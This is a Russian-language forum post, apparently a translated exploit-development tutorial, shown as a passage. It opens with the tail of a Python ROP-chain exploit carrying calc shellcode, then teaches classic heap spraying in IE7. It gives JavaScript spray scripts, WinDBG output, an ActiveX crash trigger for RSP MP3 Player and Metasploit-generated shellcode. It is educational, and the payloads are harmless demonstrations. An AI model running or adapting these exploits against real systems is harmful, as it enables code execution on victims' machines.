rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#

# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")

#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))

writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

6.png
 
Последнее редактирование:
Часть 8: Spraying the Heap [Часть 1: Ванильный EIP]

Это первая часть туториала из двух частей о распылении кода в куче. Эта часть будет охватывать "классическое" распыление в куче в браузере IE7. Часть 2 расскажет о точечном распыление в куче и технике Use-After-Free на браузере IE8. Распыление в куче не имеет ничего общего с эксплуатацией кучи. Сскорее это метод доставки полезной нагрузки. В основном вам понадобится эта техника при использовании браузеров (а также Flash, PDF и MS Office). При переполнении буфера мы всегда полагаемся на то, что можем выделить память в стеке (или в куче) и записать в нее шеллкод. Хотя вы, возможно, сможете выделить память в браузере или эксплоитах ActiveX, есть лучший, более надежный, безо всяких напрягов способ, так что готовьтесь к тому, чтобы задушить кучу.

Для эксплуатации браузера я буду переключаться между отладчиком Immunity и WinDBG. Мне кажется, что Immunity хорош для визуализации данных и переходов в памяти, но WinDBG кажется более быстрым, более надежным и имеет некоторые функции, которые действительно практичны (особенно это касается использования точек останова на библиотеках javascript). Я оставляю выбор за вами. Преимущества WinDBG станут более очевидными в "части 2". Я упомяну, что вам нужно настроить WinDBG перед тем, как вы начнете его использовать, и настроить символы Windows, чтобы получить полный и приятный опыт!

Чтобы познакомиться с этой техникой, мы создадим новый эксплойт для "RSP MP3 Player". Есть один предыдущий эксплоит для этой программы здесь(https://www.exploit-db.com/exploits/14605/). Когда вы начинаете играть с браузерами, часто бывает полезно установить несколько версий IE. Перейдите сюда (http://utilu.com/IECollection/) и скачайте копию IE-Collection, обновите системный браузер до последней версии, а затем установите предыдущие версии с IE-Collection.

Виртуальная машина: Windows XP SP3 с IE7
Уязвимое программное обеспечение: https://www.exploit-db.com/wp-conte...34dd45af52de8c046d8d-rsp_mp3_ocx_3.2.0_sw.zip

Введение

Прежде всего, я хочу дать ссылку на статью которая принадлежит corelanc0d3r. "Heap Spraying Demystified"(https://www.corelan.be/index.php/20...g-tutorial-part-11-heap-spraying-demystified/) делает отличную и всестороннюю работу по объяснению тонкостей распыления в куче для целей доставки полезной нагрузки. Я заранее прошу прощения за попугаиную работу, проделанную corelanc0d3r, но я повторяю теорию для своих собственных целей; показываю практическую ошибку, чтобы использовать пример в сжатой форме.

Стек занимает только небольшую часть общего доступного пространства памяти. Менеджер куч может динамически раздавать куски памяти, когда, например, программы должны хранить данные без каких-либо четких предопределенных правил относительно размера данных. Куча - серьезный зверь, и, как всегда, я не могу/не буду объяснять все, что нужно знать, но я дам вам достаточно информации, чтобы помочь вам в этом.

Есть несколько простых вещей, которые мы должны знать о распределителе кучи. 1) Когда память распределяется и освобождается динамически, куча становится фрагментированной. 2) Когда чанк памяти в куче освобождается, он будет отправлен внешнему или внутреннему распределителю (в зависимости от операционной системы и архитектуры). Аллокатор похож на сервис кэширования для оптимизации выделения чанков. Как мы уже упоминали ранее, выделения и освобождение фрагментируют кучу (это плохо). Чтобы минимизировать эту фрагментацию, аллокатор может предоставить приложению память кучи, которая была ранее освобождена, при условии, что она имеет такой же размер, тем самым уменьшая количество новых выделений ( это хорошо). 3) Хотя память в куче выделяется динамически, аллокатор динамической памяти предпочтет распределять последовательные фрагменты (опять же, чтобы уменьшить фрагментацию). Это означает, что куча по сути является детерминированной с точки зрения злоумышленников. Учитывая достаточно большие последовательные распределения, мы сможем надежно поместить данные в определенное место в куче, где мы можем их использовать (с минимальным количеством энтропии).

Концепция "heap spraying" была впервые представлена Blazde и SkyLined в 2004 году, когда она использовалась в эксплоите переполнения буфера тега iframe в Internet Explorer. Этот же общий метод использовался большинством браузерных эксплоитов вплоть до IE7, Firefox 3.6.24, Opera 11.60. Более точное распыление в куче в более поздних браузерах будет рассмотрено в "части 2 этого урока.

Подумайте об этом таким образом. Если ошибка (будь то ванильный регистр EIP, атака Use-After-Free и так далее) дает нам произвольную 4-байтовую запись, и мы можем создать кодовую область в куче для хранения нашей полезной нагрузки. Тогда мы можем использовать эту запись для перенаправления выполнения поток к нашему шеллкоду и бах - у нас есть выполнение кода! Javascript спешит на помощь! Удивительная вещь в том, что javascript может непосредственно распределять строки в куче, и с некоторой хитростью мы можем формировать кучу, чтобы удовлетворить наши потребности для любого браузера, который мы хотим эксплуатировать! Основная часть этого туториала будет посвящена объяснению того, как мы можем получить надежное распределение в куче. Изображение ниже должно дать вам представление о том, чего мы хотим достичь.

1.png


Этого должно быть достаточно, чтобы заинтересовать вас. Сначала мы пройдем процесс создания кучи, а затем применим эти знания для написания эксплоита ActiveX.

Кучи шеллкода

Как я уже упоминал ранее, распыление в куче - это метод доставки полезной нагрузки, который использует преимущества законных функций библиотеки JavaScript. Давайте попробуем выделить несколько простых строк в куче.

JavaScript:
<html>
<body>
<script language='javascript'>

    var myvar = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');              //

    alert("allocation done");

</script>
</body>
</html>


Из скриншота ниже видно, что нам удалось поместить нашу строку ASCII в кучу. Обратите внимание, что мы используем стиль javascript unescape, иначе наша строка будет сохранена в юникоде.

s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc


2.png


Пока все хорошо. Но помните, что наша цель - заполнить кучу последовательностями NOP + шеллкод. Давайте попробуем изменить наш javascript код, чтобы мы могли определять NOP, шеллкод и постоянно хранить эту последовательность как блоки в куче.


JavaScript:
html>
<body>
<script language='javascript'>

    size = 0x3E8;  // 1000-bytes
    NopSlide = ''; // Initially set to be empty

    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');              //
   
    // Keep filling with nops till we reach 1000-bytes
    for (c = 0; c < size; c++){
    NopSlide += unescape('%u9090%u9090');}
    // Subtract size of shelccode
    NopSlide = NopSlide.substring(0,size - Shellcode.length);
   
    // Spray our payload 50 times
    var memory = new Array();
    for (i = 0; i < 50; i++){
    memory[i] = NopSlide + Shellcode;}

    alert("allocation done");

</script>
</body>
</html>

По сути, мы создаем блок полезной нагрузки размером 1000 байт, а затем повторяем этот блок 51 раз (диапазон от 0 до 50 = 51 спрей). Ниже вы можете увидеть структуру наших "блоков". Если мы представим их в python, что может устранить некоторую путаницу.

"\x90"*(1000-len(shellcode)) + shellcode

Время взглянуть на наши распределения в WinDBG. Как вы можете видеть ниже, WinDBG теперь перечисляет 51 экземпляр нашей строки ASCII. Если мы проследим распределение, то окажется, что блоки в начале иногда окружены мусором, но дальше по списку мы видим, что они совершенно последовательны.

Bash:
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4b846  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312f0fe  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:

0:013> d 02a4c04e
02a4c04e  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
02a4c05e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c06e  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
02a4c07e  00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01  ..........Y.H...
02a4c08e  28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90  (...............
02a4c09e  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0ae  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
02a4c0be  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

However if we start from the last block and look back in steps of 1000-bytes we
can see the allocations look pretty good!

0:013> d 03130106-20
031300e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
031300f6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130106  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03130116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
03130156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-1000
0312f0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f0f6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312f106  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312f116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312f156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-2000
0312e0e6  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e0f6  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
0312e106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312e156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:013> d 03130106-20-3000
0312d0e6  90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63  ........FuzzySec
0312d0f6  75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90  urity...........
0312d106  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d116  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d126  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d136  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d146  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0312d156  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Хорошо. Всё это не так плохо. Мы прошли довольно далеко. Но по общему признанию нам также немного повезло с нашими последовательными распределениями. Что мы действительно хотим сделать сейчас: 1) распылить больше данных, чтобы мы заполнили больше памяти (перезаписывая более высокие диапазоны памяти) и 2) изменить размер "блока" так, чтобы IE выделял один блок на объект BSTR, увеличивая таким образом надежность последовательных распределений и снижая риск того, что мы можем попасть в мертвую зону между "блоками". Ниже вы можете найти наш финальный скрипт heap-spray (который также используется в общедоступных эксплоитах). Я тестировал этот скрипт на всех версиях браузера IE до IE7, и он очень последовательный.

JavaScript:
<html>
<body>
<script language='javascript'>

    var Shellcode = unescape(
    '%u7546%u7a7a%u5379'+   // ASCII
    '%u6365%u7275%u7469'+   // FuzzySecurity
    '%u9079');              //

    var NopSlide = unescape('%u9090%u9090');
   
    var headersize = 20;
    var slack = headersize + Shellcode.length;
   
    while (NopSlide.length < slack) NopSlide += NopSlide;
    var filler = NopSlide.substring(0,slack);
    var chunk = NopSlide.substring(0,NopSlide.length - slack);
   
    while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
    var memory = new Array();
    for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
   
    alert("allocation done");

</script>
</body>
</html>

Этот скрипт распыляет намного большие блоки данных, равные 0x40000 байт ( 262144 байта = 0,25 МБ) и повторяет эти блоки 500 раз (= 125 МБ кучи-распылителя). Также учтите, что размер нашего шеллкода вряд ли будет больше 1000 байтов, что означает, что наши блоки состоят из 99,997% инструкцией NOP, что делает переход к ним чрезвычайно надежным! Давайте посмотрим, как выглядит спрей в WinDBG.

Bash:
Looking at our string in memory show us that the offset from the start of
the heap enrty to our payload seems to be consisten across all sprays (except
in the beginning but that is due to pre-existing fragmentation). This is a good
sign for reliability. We can also see that the memory range we are overwriting
is much much larger.

0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010  46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20  FuzzySecurity..
030ca75c  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03b4ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03c6ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03cfffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03d8ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03e1ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03eaffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
03f3ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
[...Snip...]
1521ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
152affee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1533ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
153cffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1545ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
154effee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...
1557ffee  46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00  FuzzySecurity...

Looking at the process environment block (PEB) will tell us what the default
ProcessHeap is (this is where our allocations will be stored). Alternatively
you can run "!heap -stat" and look at the ammount of commited bytes
on a per-heap basis.

0:014> !peb
PEB at 7ffd8000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00400000
    Ldr                       00251e90
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
    Ldr.InLoadOrderModuleList:           00251ec0 . 00255918
    Ldr.InMemoryOrderModuleList:         00251ec8 . 00255920
            Base TimeStamp                     Module
          400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
        7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
        7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
        77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
        77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
        767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
        77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
        76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
        76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
    SubSystemData:     00000000
    ProcessHeap:       00150000
    ProcessParameters: 00020000
    CurrentDirectory:  'C:\Documents and Settings\Administrator\Desktop\'
    WindowTitle:  'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    ImageFile:    'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
    CommandLine:  'about:home'
[...Snip...]

Ok lets print out allocation statistics for this heap specifically. We can
see that 98.63% of the busy blocks in this heap belong to our spray.

0:014> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks     total     ( %) (percent of total busy bytes)
    7ffe0 1f4 - f9fc180  (98.63)
    3fff8 3 - bffe8  (0.30)
    1fff8 4 - 7ffe0  (0.20)
    7ffd0 1 - 7ffd0  (0.20)
    7ff8 b - 57fa8  (0.14)
    fff8 5 - 4ffd8  (0.12)
    1ff8 21 - 41ef8  (0.10)
    3ff8 d - 33f98  (0.08)
    ff8 f - ef88  (0.02)
    7f8 18 - bf40  (0.02)
    8fc1 1 - 8fc1  (0.01)
    7fe0 1 - 7fe0  (0.01)
    7fd0 1 - 7fd0  (0.01)
    7db4 1 - 7db4  (0.01)
    614 14 - 7990  (0.01)
    57e0 1 - 57e0  (0.01)
    20 208 - 4100  (0.01)
    5e4 b - 40cc  (0.01)
    4e4 c - 3ab0  (0.01)
    3980 1 - 3980  (0.01)
   
We can also list all blocks that have the same size (in our case 0x7ffe0)

0:014> !heap -flt s 7ffe0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        03ad0018 fffc 0000  [0b]   03ad0020    7ffe0 - (busy VirtualAlloc)
        03bf0018 fffc fffc  [0b]   03bf0020    7ffe0 - (busy VirtualAlloc)
        03c80018 fffc fffc  [0b]   03c80020    7ffe0 - (busy VirtualAlloc)
        03d10018 fffc fffc  [0b]   03d10020    7ffe0 - (busy VirtualAlloc)
        03da0018 fffc fffc  [0b]   03da0020    7ffe0 - (busy VirtualAlloc)
        03e30018 fffc fffc  [0b]   03e30020    7ffe0 - (busy VirtualAlloc)
        03ec0018 fffc fffc  [0b]   03ec0020    7ffe0 - (busy VirtualAlloc)
        03f50018 fffc fffc  [0b]   03f50020    7ffe0 - (busy VirtualAlloc)
[...Snip...]
        15110018 fffc fffc  [0b]   15110020    7ffe0 - (busy VirtualAlloc)
        151a0018 fffc fffc  [0b]   151a0020    7ffe0 - (busy VirtualAlloc)
        15230018 fffc fffc  [0b]   15230020    7ffe0 - (busy VirtualAlloc)
        152c0018 fffc fffc  [0b]   152c0020    7ffe0 - (busy VirtualAlloc)
        15350018 fffc fffc  [0b]   15350020    7ffe0 - (busy VirtualAlloc)
        153e0018 fffc fffc  [0b]   153e0020    7ffe0 - (busy VirtualAlloc)
        15470018 fffc fffc  [0b]   15470020    7ffe0 - (busy VirtualAlloc)
        15500018 fffc fffc  [0b]   15500020    7ffe0 - (busy VirtualAlloc)

Теперь вы можете говорить себе: "Ну, это круто и все, но какой в этом смысл?". Обычно при разработке эксплоитов, когда у нас есть 4-байтовая запись, мы перезаписываем это указателем на инструкцию в одном из модулей приложения. Для надежности мы никогда напрямую не перезаписываем этот указатель (например, регистр EIP) адресом нашего шеллкода в памяти. В случае с распылением в куче, мы можем непосредственно определить структуру памяти кучи и убедиться, что любой статический адрес памяти, который мы используем в наших 4-байтовых указывают на наши инструкции NOP в куче. Даже если один и тот же адрес не всегда указывает на одно и то же место в нашем буфере (например, куча во время распыления может быть более фрагментированной) наш NOP-слайда (запомните 99,997%) настолько велик, что мы можем быть уверены, что мы будем наступать на него каждый раз, когда запускаем наш эксплоит. После выполнения инструкций NOP мы достигнем наш шеллкод и выполним код! Вы можете увидеть обычных подозреваемых, которые мы рассмотрим, чтобы найти подходящий указатель ниже. Если мы посмотрим на опкод по этим адресам, то увидим, что наши подозрения подтвердились.

Predictable Pointers:
- 0x05050505
- 0x06060606
- 0x07070707
- ....


Другой адрес, который имеет особое значение, это 0x0c0c0c0c. Но это будет объяснено во второй части этого урока.

2.png


Bash:
0:014> d 04040404
04040404  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040414  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040424  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040434  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040444  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040454  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040464  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
04040474  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 05050505
05050505  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050515  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050525  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050535  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050545  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050555  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050565  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
05050575  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0:014> d 06060606
06060606  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060616  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060626  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060636  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060646  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060656  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060666  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
06060676  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Опять же, эта часть туториала посвящена "классическим" кучам, где не нужно сильно беспокоиться о точности. Часть 2 расскажет про распыления, которые требуют предельной точности либо потому, что 1) мы имеем дело с DEP и/или (2) мы используем технику Use-After-Free. Что ж, мы заложили основу для нашего подвига, поэтому пришло время запустить наш шеллкод.

Повторение крэша + регистр EIP

Скачайте RSP MP3 Player по ссылке в начале урока. Чтобы зарегистрировать файл ocx, откройте командную строку, перейдите в папку, содержащую файл ocx, и введите "regsvr32 rspmp3ocx320sw.ocx". Вы должны получить всплывающее окно с сообщением, что файл был успешно зарегистрирован. Также получите здесь (https://github.com/dzzie/COMRaider) копию COMRaider и установите его. COMRaider - это простой, но эффективный фаззер ActiveX, который прост в использовании и предоставляет тестовые примеры для сбоев (хотя и в vbscript). Если мы посмотрим на оригинальный эксплоит (https://www.exploit-db.com/exploits/14605/), то увидим, что сбой происходит в функции OpenFile. Если мы будет фаззить только этот член функции, мы видим, что мы вызываем 14 исключений из 18 случаев. Я не тратил время на то, чтобы полностью профазить rspmp3ocx320sw.ocx, но подозреваю, что если вы это сделаете, вы обнаружите множество уязвимых сбоев!

4.png


5.png


6.png


Если мы посмотрим на один из тестовых случаев, который вызывает сбой, мы увидим, что он очень похож на эксплоит на exploit-db.

XML:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.133 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "C:\Documents and Settings\Administrator\Desktop\RSP MP3 Player\rspmp3ocx320sw.ocx"
prototype  = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid     = "RSPMP3_320.RSPMP3"
argCount   = 1

arg1=String(1044, "A")

target.OpenFile arg1

</script></job></package>

После небольшого изучения и преобразования vbscript в javascript я нашел HTML, который вызовет сбой. Мы получаем контроль над регистром EIP с помощью обработчика структурированных исключений, но нам все равно. Всё, чего мы хотим добиться, это перезаписать регистр EIP одним из предсказуемых указателей из нашего кучи.

JavaScript:
<html>
  <head>
    <object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
  </head>
  <body>
  <script>
   
    pointer='';
    for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
    Oops.OpenFile(pointer);
   
  </script>
</body>
</html>

Как мы видим, мы успешно перезаписываем регистр EIP с помощью 0x06060606 (один из наших прогнозируемых указателей) и из-за ошибок потока выполнения, потому что по этому адресу еще нет инструкций. Интересно, что наш буфер не очень точный. Я думаю, что SEH находится где-то в 650 байтах в буфере, но опять же это не так важно, так как нам просто нужен регистро EIP в качестве трамплина для нашего распыления.

Шеллкод + Конец игры

Хорошо, во-первых, давайте сгенерируем желаемый шеллкод для нашего эксплоита. Нам нужно помнить, чтобы закодировать его как javascript Little Endian.

Bash:
root@bt:~# msfpayload windows/messagebox O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 270
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting   Required  Description
----      ---------------   --------  -----------
EXITFUNC  process           yes       Exit technique: seh, thread, process, none
ICON      NO                yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Hello, from MSF!  yes       Messagebox Text (max 255 chars)
TITLE     MessageBox        yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text &
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' O

       Name: Windows MessageBox
     Module: payload/windows/messagebox
    Version: 13403
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 255
       Rank: Normal

Provided by:
  corelanc0d3r
  jduck <jduck@metasploit.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
ICON      NO               yes       Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT      Oww Snap!        yes       Messagebox Text (max 255 chars)
TITLE     b33f             yes       Messagebox Title (max 255 chars)

Description:
  Spawns a dialog via MessageBox using a customizable title, text &
  icon


root@bt:~# msfpayload windows/messagebox text='Oww Snap!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)

%u22bb%ua82f%udb56%ud9dd%u2474%u58f4%uc931%u40b1%u5831%u0315%u1558%uc083%ue204%uf6d7%ucd43
%u7dce%u06b0%uafc1%u910a%u9910%ud50f%u2923%u9f5b%uc2cf%u7c2d%u9244%uf7d9%u3b24%u3151%u74e0
